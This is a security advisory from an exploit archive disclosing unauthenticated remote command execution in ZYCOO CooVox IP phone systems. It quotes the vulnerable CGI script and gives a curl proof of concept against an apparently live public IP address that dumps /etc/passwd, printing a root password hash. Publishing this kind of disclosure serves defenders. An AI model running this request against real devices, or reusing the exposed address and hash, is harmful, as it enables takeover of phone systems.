exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

ZYCOO IP Phone System Remote Command Execution

ZYCOO IP Phone System Remote Command Execution
Posted Aug 20, 2016
Authored by Ahmed Sultan

ZYCOO IP phone system suffers from a remote command execution vulnerability.

tags | exploit, remote
SHA-256 | fe4566ca116a6959a9c74396d2775c6aef5c966959905b694638e5886241a34c

ZYCOO IP Phone System Remote Command Execution

Change Mirror Download
Vulnerable hardware : ZYCOO IP phone system
Vendor : zycoo.com
Author : Ahmed sultan (@0x4148)
Email : 0x4148@gmail.com

Summary : According to the vendor's site ,
CooVox Series IP Phone System is the most innovative solution for VoIP
telecommunication in SMB (Small and Medium-sized Business) market.
They provide not only traditional PBX functions such as automated attendant
and voicemail,
but also offer many advance telephony features, including remote
extensions, remote office connection,
IVR, call recording, call detail records(CDR)a|

Vulnerable file : /www/cgi-bin/system_cmd.cgi

Code shot :

#!/bin/hush
printf '\r\n'
if [ -n "$REQUEST_METHOD" ]; then
case "$REQUEST_METHOD" in
(GET)
if [ -n "$QUERY_STRING" ]; then
for args in `echo "$QUERY_STRING" | tr "&" " "`
do
param=`echo "$args" | cut -d "=" -f 1`
value=`echo "$args" | cut -d "=" -f 2`
eval "export $param=$value"
done
fi
;;
esac
fi
INI_FILE=/etc/asterisk/manager.conf
INI_SECTION=$username
eval `sed -e 's/[[:space:]]*\=[[:space:]]*/=/g' \
-e 's/;.*$//' \
-e 's/[[:space:]]*$//' \
-e 's/^[[:space:]]*//' \
-e "s/^\(.*\)=\([^\"']*\)$/\1=\'\2\'/" \
< $INI_FILE \
| sed -n -e "/^\[$INI_SECTION\]/,/^\s*\[/{/^[^;].*\=.*/p;}"`
password="`/etc/scripts/decodeURI $password`"
[ -z "$secret" ] && secret=`/etc/scripts/getkeyvalue.sh ${INI_SECTION}
vmsecret`
if [ "$password" = "$secret" ]; then
cmd=`echo $cmd | sed 's/%20/ /g'`
# cmd=`echo $cmd | sed -e's/%\([0-9A-F][0-9A-F]\)/\\\\\x\1/g;s/?r//g'
| xargs echo`
$cmd

the GET parameter cmd is freely available to directly execute system
commands with no perior required authentication
which lead to full hardware takeover

POC
[0x4148:/R1z]# curl
http://124.108.52.121:9999/cgi-bin/system_cmd.cgi\?cmd\='cat%20/etc/passwd'
root:$1$C6ouMLFa$pb2/Bu1bcWpBNcX38jTva0:0:0:root:/:/bin/sh
nobody:x:99:99:Nobody::

Also by reading file /etc/asterisk/manager.conf
hardware admin's password can be obtained in plain text

Fixing?
Unfortunately the hardware frontend really depend on this file , and the
vendor is super lazy on replying on the emails regarding this vulnerability
so , best fixation for now is enabling the web interface browsing from the
local network only
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close